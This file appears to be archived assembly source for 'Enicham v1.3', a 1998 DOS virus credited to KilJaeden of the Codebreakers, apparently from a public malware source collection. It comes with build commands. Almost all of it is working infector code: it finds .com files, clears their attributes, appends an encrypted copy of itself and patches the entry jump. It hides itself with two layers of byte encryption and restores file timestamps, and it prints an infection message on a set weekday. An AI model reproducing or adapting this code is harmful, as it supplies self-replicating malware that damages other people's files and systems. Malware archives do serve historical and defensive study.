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https://github.com/vxunderground/MalwareSourceCode
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231 lines
13 KiB
NASM
231 lines
13 KiB
NASM
; ------------------------------------------------------------------------- ;
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; Enicham v1.3 coded by KilJaeden of the Codebreakers 1998 ;
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; ------------------------------------------------------------------------- ;
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; Description: `-------------------| Started: 17/06/98 | Finished: 18/06/98 ;
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; `-------------------^------------------- ;
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; v1.0 - runtime .com appender with one layer of encryption | Size: 543 ;
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; v1.1 - restores time/date & attributes + infects readonly `---------- ;
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; v1.2 - add second layer of XOR,NEG,NOT,ROR,ROL encryption ;
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; v1.3 - add small payload, show our presence every tuesday ;
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; ------------------------------------------------------------------------- ;
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; ---------------------> This Is For Christine Moore <--------------------- ;
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; ------------------------------------------------------------------------- ;
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; to compile ::] tasm enicham.asm ;
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; to link :::::] tlink /t enicham.obj ;
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; ------------------------------------------------------------------------- ;
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code segment ; name our segment 'code'
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assume cs:code,ds:code ; assign CS and DS to code
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org 100h ; this be a .com file
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jumps ; save space jumping
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blank: db 0e9h,0,0 ; jump to start of code
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start: call delta ; push IP on to stack
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delta: pop bp ; pop it into BP
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sub bp,offset delta ; get the delta offset
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decr: jmp once ; jump to once (overwritten)
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lea si,[bp+encd] ; start of encrypted stuff
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mov di,si ; move si into di
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call encr ; call our decryption loop
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; -------------------( Start Of 1st Encryption Blanket )------------------- ;
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; ------------------------------------------------------------------------- ;
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encd: lea si,[bp+d_encd] ; start address of layer 2
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mov di,si ; move it into DI
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mov cx,d_encr-d_encd ; # of bytes to decrypt
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call d_encr ; second layer decrypted
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; -------------------( Start Of 2nd Encryption Blanket )------------------- ;
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; ------------------------------------------------------------------------- ;
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d_encd: lea si,[bp+thrbyte] ; what bytes to restore
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mov di,100h ; where to restore them
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push di ; push 100h on to stack
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movsw ; move two bytes
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movsb ; move one byte
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lea dx,[bp+offset dta] ; where to put the DTA
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mov ah,1ah ; move the DTA
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int 21h ; it's moved now
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mov ah,4eh ; find first file
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lea dx,[bp+comfile] ; with extension .com
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mov cx,7 ; possible attributes
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find: int 21h ; find the file
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jc exit ; no files found, exit
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lea dx,[bp+offset dta+1eh] ; get the file info
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mov ax,4300h ; get file attributes
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int 21h ; get them now
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push cx ; push the attributes
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push dx ; push the file name
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mov ax,4301h ; set file attributes
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xor cx,cx ; to none at all
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int 21h ; set them now
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mov ax,3d02h ; open the file
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int 21h ; it is open now
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xchg bx,ax ; move the info
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mov ax,5700h ; get time / date
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int 21h ; we have them now
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push dx ; push the date
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push cx ; push the time
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mov ah,3fh ; read from file
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lea dx,[bp+thrbyte] ; read into here
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mov cx,3 ; read three bytes
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int 21h ; got the first three
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mov ax,word ptr [bp+dta+1ah] ; get file size
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mov cx,word ptr [bp+thrbyte+1] ; move thrbyte+1 into CX
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add cx,finished-start+3 ; get virus + jump size
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cmp ax,cx ; compare the two
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jz close ; if equal, close file
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cmp ax,1000 ; file is > then 1kb ?
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jb close ; to small, close it
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cmp ax,62000 ; file is < then 62kb ?
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ja close ; to big, close it up
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sub ax,3 ; get size of main jump
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mov word ptr [bp+newjump+1],ax ; write it into newjump
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mov ax,4200h ; scan to start of file
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xor cx,cx ; xor value of cx to 0
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cwd ; likewize for dx
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int 21h ; pointing to SOF
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mov ah,40h ; write to file
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lea dx,[bp+newjump] ; write the jump
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mov cx,3 ; # of bytes to write
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int 21h ; write them now
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mov ax,4202h ; scan to end of file
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xor cx,cx ; xor value of cx to 0
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cwd ; likewize for dx
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int 21h ; pointing to EOF
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lea si,[bp+start] ; load the source index
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lea di,[bp+buffer] ; load the desination index
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mov cx,finished-start ; # of bytes to move
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rep movsb ; load it into memory
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lea si,[bp+d_encd-start+buffer] ; load the source index
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mov cx,d_encr-d_encd ; # of bytes to encrypt
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mov di,si ; move SI into DI
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call d_encr ; encrypt 1st layer
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lea di,[bp+encd-start+buffer] ; load the desination index
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mov si,di ; move it into SI
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mov cx,encr-encd ; # of bytes to encrypt
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call encr ; encrypt 2nd layer
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mov ah,40h ; write to file
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mov cx,finished-start ; # of bytes to write
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lea dx,[bp+buffer] ; start of virus in mem
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int 21h ; write it now
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close: mov ax,5701h ; set time / date
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pop cx ; pop the time
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pop dx ; pop the date
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int 21h ; restore time/date files
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mov ax,4301h ; set attributes
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pop dx ; for this file
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pop cx ; with these attributes
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int 21h ; restore them now
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mov ah,3eh ; close the file
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int 21h ; file is closed
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mov ah,4fh ; find next file
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jmp find ; find it now
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exit: mov ah,2ah ; get system time
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int 21h ; we have it now
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cmp al,004h ; is it tuesday?
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jne endit ; nope, end this
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mov ah,09h ; print a message
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lea dx,[bp+pldmsg] ; our payload message
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int 21h ; print it now
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mov ah,00h ; wait for keypress
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int 16h ; anounce our presence
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endit: mov ah,1ah ; set DTA location
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mov dx,80h ; to this location
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int 21h ; restore DTA
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retn ; return control to host
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; ----------------------------( The Data Area )---------------------------- ;
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; ------------------------------------------------------------------------- ;
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pldmsg db '',10,13
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db ' Infected with :: Enihcam :: written by KilJaeden of the Codebreakers 1998',10,13,'$'
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thrbyte db 0cdh,20h,0 ; terminates 1st gen
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newjump db 0e9h,0,0 ; blank jump 1st gen
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comfile db "*.com",0 ; extension to search for
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dta db 43 dup (?) ; space for DTA
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; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
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; ------------------------------------------------------------------------- ;
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d_encr: lodsb ; load a byte
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xor al,0C4h ;------[1]
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neg al ;-----[2]
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ror al,4 ;----[3]
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not al ;---[4]
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rol al,4 ;--[5]
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neg al ;-[6] encryption/decryption
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rol al,4 ;--[5]
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not al ;---[4]
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ror al,4 ;----[3]
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neg al ;-----[2]
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xor al,0C4h ;------[1]
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stosb ; store the byte
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loop encr ; do all the bytes
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ret ; return from call
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; --------------------( End Of 1st Encryption Blanket )-------------------- ;
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; ------------------------------------------------------------------------- ;
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encr: lodsb ; load a byte
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neg al ;------[1]
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ror al,4 ;-----[2]
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not al ;----[3]
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neg al ;---[4]
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rol al,4 ;--[5]
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xor al,0C4h ;-[6] encryption/decryption
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rol al,4 ;--[5]
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neg al ;---[4]
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not al ;----[3]
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ror al,4 ;-----[2]
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neg al ;------[1]
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stosb ; store the byte
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loop encr ; do all the bytes
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ret ; return from call
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; ------------------------------------------------------------------------- ;
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; ------------------------------------------------------------------------- ;
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buffer: ; save our virus in mem
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finished: ; offset label for virus end
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once: lea si,[bp+new] ; load source index
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lea di,[bp+decr] ; load destination index
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movsw ; move two bytes
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movsb ; move one byte
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jmp d_encd ; jump to encrypted area
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new: mov cx,encr-encd ; this replaces the jump
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code ends ; end code segment
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end blank ; end / where to start
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; ------------------------------------------------------------------------- ;
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; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
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; ------------------------------------------------------------------------- ;
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